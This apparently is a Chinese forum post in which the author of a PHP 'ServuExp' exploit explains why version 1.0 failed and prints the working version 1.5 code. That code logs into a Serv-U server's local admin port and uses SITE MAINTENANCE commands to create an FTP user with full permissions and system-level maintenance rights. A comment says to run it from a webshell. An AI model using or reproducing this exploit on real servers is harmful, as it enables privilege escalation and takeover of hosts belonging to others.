我来说明一下吧..最近很久没在网上,刚看到这个帖子,对不住了..
我的ServuExp当时写过两个版本,1.0和1.5,原因就是1.0版本犯了andyower这个代码的错误..(表骂我,就事论事哈).导致了大部分的servu不能正常exp.
我当年写代码的时候是本地测试的.所以在安装servu的时候把默认的ftp域的ip定义为127.0.0.1了.于是servu在bind的时候,就只在127.0.0.1这个ip上bind 21端口.
以上都没问题.问题是:servu在判断一台服务器上所具有的ftp域的时候靠的是ip.所以当我想在这个域上添加一个用户的时候,必须把这个域绑定的ip提交给他.
复制内容到剪贴板
代码:
print $sock "-IP=".$addr."\r\n"; #就是这一句提交ip而这个ip由于是开始时管理员自己定义的,所以是可变的.(通常是0.0.0.0,他的公网ip,或者内网ip)这就是为什么
最早出来的exp是通过新建立一个域,再在这个域上添加管理用户执行命令这样一个复杂的方式的原因.而我在1.0版本的时候很贪心,想就在原有域上添加用户执行操作,却犯了和Andyower的代码一样的错误,把这个ip赋值为了127.0.0.1.没有根据实际情况进行修改,当然不行
再来看我1.5版本里的代码:
复制内容到剪贴板
代码:
//变量初始化
$addr = '0.0.0.0';
//有改变则赋值
if ($_GET){
$addr = $_GET['addr'] ; //这里我根据实际情况让exp的使用者提交具体域绑定的ip,可以在webshell中通过使用netstat -an查看
$ftpport = $_GET['ftpport'] ;
$adminport = $_GET['adminport'] ;
$adminuser = $_GET['adminuser'] ;
$adminpass = $_GET['adminpass'] ;
$user = $_GET['user'] ;
$password = $_GET['password'] ;
$homedir = $_GET['homedir'] ;
if ($_GET['dir']){
$dir = $_GET['dir'] ;
}
}
//添加用户主函数定义
function up($addr,$ftpport,$adminport,$adminuser,$adminpass,$user,$password,$homedir){
$fp = fsockopen ("127.0.0.1", $adminport, $errno, $errstr, 8);
if (!$fp) {
echo "$errstr ($errno)<br>\n";
} else {
fputs ($fp, "USER ".$adminuser."\r\n");
sleep (1);
fputs ($fp, "PASS ".$adminpass."\r\n");
sleep (1);
fputs ($fp, "SITE MAINTENANCE\r\n");
sleep (1);
fputs ($fp, "-SETUSERSETUP\r\n");
[b]fputs ($fp, "-IP=".$addr."\r\n");[/b]
fputs ($fp, "-PortNo=".$ftpport."\r\n");
fputs ($fp, "-User=".$user."\r\n");
fputs ($fp, "-Password=".$password."\r\n");
fputs ($fp, "-HomeDir=".$homedir."\r\n");
fputs ($fp, "-LoginMesFile=\r\n");
fputs ($fp, "-Disable=0\r\n");
fputs ($fp, "-RelPaths=0\r\n");
fputs ($fp, "-NeedSecure=0\r\n");
fputs ($fp, "-HideHidden=0\r\n");
fputs ($fp, "-AlwaysAllowLogin=0\r\n");
fputs ($fp, "-ChangePassword=1\r\n");
fputs ($fp, "-QuotaEnable=0\r\n");
fputs ($fp, "-MaxUsersLoginPerIP=-1\r\n");
fputs ($fp, "-SpeedLimitUp=-1\r\n");
fputs ($fp, "-SpeedLimitDown=-1\r\n");
fputs ($fp, "-MaxNrUsers=-1\r\n");
fputs ($fp, "-IdleTimeOut=600\r\n");
fputs ($fp, "-SessionTimeOut=-1\r\n");
fputs ($fp, "-Expire=0\r\n");
fputs ($fp, "-RatioUp=1\r\n");
fputs ($fp, "-RatioDown=1\r\n");
fputs ($fp, "-RatiosCredit=0\r\n");
fputs ($fp, "-QuotaCurrent=0\r\n");
fputs ($fp, "-QuotaMaximum=0\r\n");
fputs ($fp, "-Maintenance=System\r\n");
fputs ($fp, "-PasswordType=Regular\r\n");
fputs ($fp, "-Ratios=None\r\n");
fputs ($fp, " Access=".$homedir."|RWAMELCDP\r\n");
fputs ($fp, "QUIT\r\n");
sleep (1);
while (!feof($fp)) {
echo fgets ($fp,128);
}
}
}这样就基本保证了通用性了